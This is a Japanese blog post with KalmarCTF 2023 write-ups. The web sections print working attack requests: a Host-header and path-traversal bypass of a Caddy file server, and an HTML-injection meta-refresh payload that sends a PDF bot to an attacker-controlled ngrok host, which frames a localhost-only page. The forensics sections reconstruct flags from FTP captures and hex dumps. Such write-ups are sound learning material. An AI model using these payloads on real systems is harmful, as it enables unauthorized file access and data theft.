はまやんはまやんはまやん

hamayanhamayan's blog

KalmarCTF 2023 Writeups

[web] Ez ⛳

フラグは消されているので正攻法では取得できない。
だが、docker-compose.yamlを見るとcp -r *.caddy.chal-kalmarc.tf backups/という意味深な部分がある。
デプロイして環境に入ってみると、以下のような感じでflag.txtが残っている。

/srv/backups/php.caddy.chal-kalmarc.tf # ls -la
total 0
drwxrwxrwx    1 1000     1000          4096 Mar  4 00:59 .
drwxrwxrwx    1 1000     1000          4096 Mar  4 00:59 ..
-rwxrwxrwx    1 1000     1000            14 Mar  4 00:59 flag.txt
-rwxrwxrwx    1 1000     1000            76 Mar  4 00:59 index.php

よって、/srv/backups/php.caddy.chal-kalmarc.tf/flag.txtを取得するのが目下の目標となる。

Caddyfileを見てみる。関係ない所は省いてある。

*.caddy.chal-kalmarc.tf {
    # block accidental exposure of flags:
    respond /flag.txt 403

    file_server {
        root /srv/{host}/
    }
}

これを見ると、ファイルサーバーのルートにhostがそのまま置かれている。
何かいい感じにできないかなーとごちゃごちゃやっていると、

GET /index.php HTTP/2
Host: backups/php.caddy.chal-kalmarc.tf

とすると、index.phpを取得することができた。
root部分が /srv/backups/php.caddy.chal-kalmarc.tf/となるためである。
あとはflag.txtとするだけだが、respond部分で403応答になっているので工夫が必要。
これも色々アイデアを考えて、ごちゃごちゃやっていると、回避できた。
以下のようなリクエストを送るとフラグ獲得。

GET /a/../flag.txt HTTP/2
Host: backups/php.caddy.chal-kalmarc.tf

[web] Invoiced

app.get('/orders', (req, res) => {
  if (req.socket.remoteAddress != "::ffff:127.0.0.1") {
    return res.send("Nice try")
  }
  if (req.cookies['bot']) {
    return res.send("Nice try")
  }
  res.setHeader('X-Frame-Options', 'none');
  res.send(process.env.FLAG || 'kalmar{test_flag}')
})

以上の部分をうまく通過してやればフラグが出てくる。

  • if (req.socket.remoteAddress != "::ffff:127.0.0.1") { -> PDF生成ボットからアクセスすれば解決
  • if (req.cookies['bot']) { -> ここは頑張り所。工夫が必要
  • res.setHeader('X-Frame-Options', 'none'); -> フレームの中に入れて表示は可能

といった感じ。

PDF生成ボットを見てみるとPOST /checkoutからアクセスするとPDFを生成してくれる。
PDFの内容はGET /renderInvoiceの応答をpuppeteerで描画してPDF出力するような感じ。
特筆すべき点としては

  • puppeteerによるアクセス時にbotという名前のcookieが付く
    • sameSiteはStrictなので、外部サイトからアクセスすればCookieは送られない
  • CSPが付く default-src 'unsafe-inline' maxcdn.bootstrapcdn.com; object-src 'none'; script-src 'none'; img-src 'self' dummyimage.com;

という感じ。
総合すると、metaタグで自分のページに誘導して、そこからGET /ordersを取得すれば良さそう。

さて、まずは以下のようなリクエストを送信する。

POST /checkout HTTP/1.1
Host: invoiced.chal-kalmarc.tf
Content-Length: 164
Content-Type: application/x-www-form-urlencoded
Connection: close

name=%3cmeta%20http-equiv%3d%22refresh%22%20content%3d'0%3b%20url%3dhttps%3a%2f%2f[yours].jp.ngrok.io'%3e&address=&phone=&email=&discount=FREEZTUFSSZ1412

discount部分はソースコードを読んでいい感じの値を入れる必要があるのだが、
あまり解法に関係しないアドホックな部分なので解説は省略する。
(それほど難しくはない)

name部分に<meta http-equiv="refresh" content='0; url=https://1b18-[yours].jp.ngrok.io'>のようにmetaタグを仕込んでいる。
これならCSPの制限は受けない。
このmetaタグによってngrokでホスティングした自分のwebサイトにリダイレクトさせている。
リダイレクト先のhtmlはこんな感じ。
こういうのを用意してpython3 -m http.server 8899みたいに公開してngrok http 8899でインターネット公開している。

<iframe src="http://localhost:5000/orders" height=1000 width=1000>

GET /ordersをして画面描画しているだけ。
/ordersでの制約を再掲して、問題ないことを解説すると、

  • if (req.socket.remoteAddress != "::ffff:127.0.0.1") { -> PDF生成ボットがアクセスしているのでクリア
  • if (req.cookies['bot']) { -> cookieのsameSiteがStrictなので、自身のサイトからリクエストを飛ばす形(iframeでホストしてやる)にするとクリア
  • res.setHeader('X-Frame-Options', 'none'); -> フレームに入れられることを活用

のような感じとなる。
これで応答のPDFファイルの中身を見るとフラグが含まれている。

[forensics] cards

プロトコル階層を見てみるとFTPが記録されている。
別途Dataと表記されている所を見ると1byte分asciiが送られているログが残っている。
取り出してきて時系列順に見てみると

m_tfwr_flf_3eccaykdw_hhuhrld{erae
_onsuo}04afr__ar_u1ut_ksffklas_hsce33f_e3p_hn

まあ、さすがにこれだけではないようだ。
まじめにFTPの部分を読んでみる。
試しにTCPのストリーム#0を見てみると以下のような感じであった。

220 FTP Server
USER user
331 Please specify the password.
PASS 123
230 Login successful.
SYST
215 UNIX Type: L8
CWD 342
250 Directory successfully changed.
TYPE I
200 Switching to Binary mode.
PASV
227 Entering Passive Mode (0,0,0,0,156,70).
RETR flagpart.txt
150 Opening BINARY mode data connection for flagpart.txt (1 bytes).
226 Transfer complete.
QUIT
221 Goodbye.

色々見てみるとCWDの部分とPassive Modeでのポートのみ違っていて他は同じようなリクエストだった。
Passive Modeで使用しているポートを復元すれば、どのCWDに対して取得されたデータがどのポートで受け取っているかがわかる。
同一ポートが使われている場合があるが、先に取得されたものが先に渡されるという前提を立てて時系列準にマッピングすればよい。
これでCWDに対応する1byte分が特定できるので、CWDでソートして文字列を復元すればフラグになる。
これを全部人力でやったのが以下の表で、これでフラグが復元可能である。

CWD: CWDの値
No: TCPストリーム番号
PsvPrt: Passive Modeで使用されるポート
Da: 送られているデータ

CWD No PsvPrt Da
================
342 00 156,70 6b
343 01 156,68 61
344 02 156,69 6c
345 03 156,70 6d
346 04 156,64 61
347 05 156,68 72
348 06 156,72 7b
349 07 156,66 73
350 08 156,69 68
351 09 156,69 75
352 10 156,70 66
353 12 156,69 66
354 11 156,73 6c
355 13 156,64 65
356 15 156,71 5f
357 14 156,69 73
358 16 156,68 68
359 18 156,67 75
360 17 156,70 66
361 19 156,72 66
362 20 156,68 31
363 21 156,72 65
364 22 156,73 5f
365 25 156,71 63
366 27 156,66 61
367 24 156,72 6e
368 26 156,72 5f
369 23 156,68 79
370 32 156,64 6f
371 29 156,73 75
372 30 156,68 5f
373 31 156,70 6b
374 28 156,69 33
375 40 156,67 33
376 54 156,64 70
377 37 156,72 5f
378 38 156,68 74
379 35 156,71 72
380 41 156,67 34
381 36 156,71 63
382 39 156,70 6b
383 43 156,70 5f
384 34 156,73 6f
385 50 156,66 66
386 42 156,72 5f
387 33 156,72 77
388 47 156,66 68
389 44 156,67 65
390 49 156,73 72
391 53 156,68 65
392 45 156,71 5f
393 52 156,66 74
394 48 156,65 68
395 46 156,73 33
396 51 156,65 5f
397 55 156,69 63
398 57 156,69 61
399 56 156,70 72
400 63 156,66 64
401 59 156,66 73
402 58 156,67 5f
403 60 156,67 61
404 61 156,69 72
405 62 156,66 65
406 64 156,64 5f
407 70 156,67 73
408 68 156,72 68
409 65 156,69 75
410 67 156,67 66
411 66 156,72 66
412 69 156,69 6c
413 71 156,70 33
414 72 156,65 64
415 74 156,72 5f
416 73 156,66 6e
417 77 156,70 30
418 78 156,69 77
419 76 156,72 7d
420 75 156,69 0a

[forensics] sewing-waste-and-agriculture-leftovers

data部分を持ってきてひたすら眺めると、0x00になっている部分は欠損部分であるように見える。
適当にCyberChefにhexを突っ込むと、0x00は.にしてくれるので、以下のような感じの文字列が出てくる。

..l..r{....t..i........d0.._.....e..m...e...u.......g.....
.a..a.{.._4..........._d0.._..c.......y.e..ou.._.s........
k..m....f_....ir........0.............y.......e..s1.......

最初の3列を抜粋してきたが、同じ部分に同じ文字が割り当たっているように見える。
これを適当にマージしてみると、

kalmar{.f_4t..ir......_d0.._..c..e..m.y.e..ou.e_.s1.g.....

となり、かなりそれっぽい感じになる。
他のものも見ながら欠損部分を埋めていくとフラグが完成する。